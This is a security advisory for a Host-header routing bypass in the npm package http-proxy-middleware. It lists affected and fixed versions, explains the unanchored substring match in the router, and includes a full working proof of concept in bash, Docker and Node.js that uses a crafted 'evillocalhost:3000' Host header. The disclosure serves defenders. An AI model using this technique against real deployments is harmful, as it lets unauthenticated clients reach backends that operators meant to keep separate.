CVE-2026-55602: http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
Summary http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.
Published Jun 18, 2026 · Updated Jun 23, 2026
Affected packages
http-proxy-middleware
- Ecosystem
- npm
- Affected
- >= 4.0.0, < 4.1.0
- Fixed in
- 4.1.0
- Check
npm ls http-proxy-middleware
http-proxy-middleware
- Ecosystem
- npm
- Affected
- >= 3.0.0, < 3.0.6
- Fixed in
- 3.0.6
- Check
npm ls http-proxy-middleware
http-proxy-middleware
- Ecosystem
- npm
- Affected
- >= 0.16.0, < 2.0.10
- Fixed in
- 2.0.10
- Check
npm ls http-proxy-middleware
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.
Details
Tested code state:
- validated on tag
v4.0.0-beta.5 - corresponding commit:
339f09ede860197807d4fd99ed9020fa5d0bd358
Relevant code locations:
src/router.tssrc/http-proxy-middleware.ts
Affected public API:
createProxyMiddleware({ router: { 'host/path': 'http://target' } })
Code explanation:
When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:
hostAndPath.indexOf(key) > -1That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:
localhost:3000/apibut the attacker-controlled host is:
evillocalhost:3000and the request path is:
/apiThe concatenated attacker-controlled string:
evillocalhost:3000/apistill contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.
Exploit path:
- the application enables the documented proxy-table
routerfeature with at least one host+path rule - an external attacker sends an ordinary HTTP request with a crafted
Hostheader HttpProxyMiddleware.prepareProxyRequest()applies router selection before proxyinggetTargetFromProxyTable()accepts the craftedHost + pathstring through substring matching- the request is proxied to the wrong backend
PoC
Create these files in the same working directory and run:
bash ./run.shFile: run.sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"
cleanup() {
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"
mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"
echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"
echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjsFile: Dockerfile
FROM node:22-bullseye
WORKDIR /work
COPY repo/package.json repo/yarn.lock /work/repo/
RUN corepack enable \
&& cd /work/repo \
&& yarn install --frozen-lockfile
COPY repo /work/repo
RUN cd /work/repo && yarn build
COPY reproduction /work/reproductionFile: verify.mjs
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';
import { createProxyMiddleware } from '/work/repo/dist/index.js';
const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';
function listen(server, port) {
return new Promise((resolve) => {
server.listen(port, '127.0.0.1', () => resolve());
});
}
function close(server) {
return new Promise((resolve, reject) => {
server.close((err) => {
if (err) {
reject(err);
return;
}
resolve();
});
});
}
function request(path, host) {
return new Promise((resolve, reject) => {
const req = http.request(
{
host: '127.0.0.1',
port: 3000,
path,
method: 'GET',
headers: {
Host: host,
},
},
(res) => {
let data = '';
res.setEncoding('utf8');
res.on('data', (chunk) => {
data += chunk;
});
res.on('end', () => {
resolve({ statusCode: res.statusCode, body: data });
});
},
);
req.on('error', reject);
req.end();
});
}
const defaultBackend = http.createServer((req, res) => {
res.end('DEFAULT');
});
const secretBackend = http.createServer((req, res) => {
res.end('SECRET');
});
const proxyMiddleware = createProxyMiddleware({
target: 'http://127.0.0.1:3101',
router: {
[ROUTER_KEY]: 'http://127.0.0.1:3102',
},
});
const proxyServer = http.createServer((req, res) => {
proxyMiddleware(req, res, () => {
res.statusCode = 404;
res.end('NO_PROXY');
});
});
try {
assert.ok(fs.existsSync('/work/repo/dist/index.js'));
assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));
await listen(defaultBackend, 3101);
await listen(secretBackend, 3102);
await listen(proxyServer, 3000);
console.log('STEP start-services ok');
const baseline = await request('/api', 'safe.example:3000');
assert.equal(baseline.statusCode, 200);
assert.equal(baseline.body, 'DEFAULT');
console.log(`STEP baseline-route body=${baseline.body}`);
const crafted = await request('/api', CRAFTED_HOST);
assert.equal(crafted.statusCode, 200);
assert.equal(crafted.body, 'SECRET');
assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
console.log(`STEP crafted-route body=${crafted.body}`);
console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}This PoC starts:
- one default backend returning
DEFAULT - one alternate backend returning
SECRET - one proxy using:
createProxyMiddleware({
target: 'http://127.0.0.1:3101',
router: {
[ROUTER_KEY]: 'http://127.0.0.1:3102',
},
});It then sends:
- a baseline request to
/apiwithHost: safe.example:3000 - a crafted request to
/apiwithHost: evillocalhost:3000
Observed result from the validated PoC:
- baseline request:
STEP baseline-route body=DEFAULT - crafted request:
STEP crafted-route body=SECRET - success marker:
RESULT reproduced host_header_injection router substring match bypass
The PoC is considered successful only if:
- the baseline request stays on the default backend
- the crafted request reaches the alternate backend
- the crafted host is not equal to the configured router host
Impact
This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.
Credited to Str1ckl4nd, Zyy0530, 7thParkk, G-Rath, ethantkoenig.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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